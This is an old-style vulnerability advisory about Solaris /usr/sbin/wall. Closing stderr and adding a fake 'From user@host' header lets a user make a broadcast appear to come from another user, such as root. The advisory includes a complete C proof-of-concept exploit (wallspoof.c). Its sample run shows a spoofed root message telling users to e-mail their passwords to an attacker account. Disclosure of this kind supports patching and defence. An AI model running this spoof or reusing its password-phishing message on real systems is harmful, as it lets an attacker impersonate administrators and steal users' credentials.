|
COMMAND /usr/sbin/wall can be fooled to spoof messages from other users SYSTEMS AFFECTED Affected Operating System(s): Solaris 2.x-9 Possibly others derived from AT&T source code PROBLEM Wall is a setgid tty program that broadcasts a message to every user currently logged into the system. It can also receive messages from remote hosts, via RPC (rpc.walld). The way that wall differentiates between messages sent by local and remote users is by checking if the file descriptor pointed to by stderr corresponds to a tty. If it doesn't, wall checks if the first 5 bytes of the message are "From ". If this is true, the next non-white characters must be in the form of user@host. One can simulate an rpc.walld message by simply closing stderr before executing /usr/sbin/wall and sending a fake "From " header. If this is achieved, it may be possible (by pretending to be an administrator), to fool users into doing things they wouldn't normally do! Example: ======== > ./wallspoof root@localhost Enter your message below. End your message with an EOF (Control+D). We'll be upgrading the system tonight. Everyone needs to e-mail their passwords to suprhakr (he's in charge of security). If you don't do this you won't have an account in the morning. Thanks. <Done> Broadcast Message from root (rpc.rwalld) on localhost Fri Jan 3 09:39:49... From root@localhost:We'll be upgrading the system tonight. Everyone needs to e-mail their passwords to suprhakr (he's in charge of security). If you don't do this you won't have an account in the morning. Thanks. > This is how easily users can be tricked! I believe this is a serious vulnerability, one which requires an IMMEDIATE patch from Sun. Anyone who runs Solaris is at risk. You have probably already been owned. Proof of concept: ================= /* wallspoof.c - SOLARIS (X86/SPARC) Exploit Don't use this in a malicious way! (i.e. to own people) */ #include <stdio.h> #include <unistd.h> #include <stdlib.h> int main(int argc, char **argv) { char *userhost; char mesg[2050]; FILE *tmp; if (argc < 2) { fprintf (stderr, "usage: wallspoof user@host\n"); exit (-1); } userhost = argv[1]; if ((tmp = fopen("/tmp/rxax", "w")) == NULL) { perror ("open"); exit (-1); } printf ("Enter your message below. End your message with an EOF (Control+D).\n"); fprintf (tmp, "From %s:", userhost); while (fgets(mesg, 2050, stdin) != NULL) fprintf (tmp, "%s", mesg); fclose (tmp); fclose (stderr); printf ("<Done>\n"); system ("/usr/sbin/wall < /tmp/rxax"); unlink ("/tmp/rxax"); } SOLUTION ?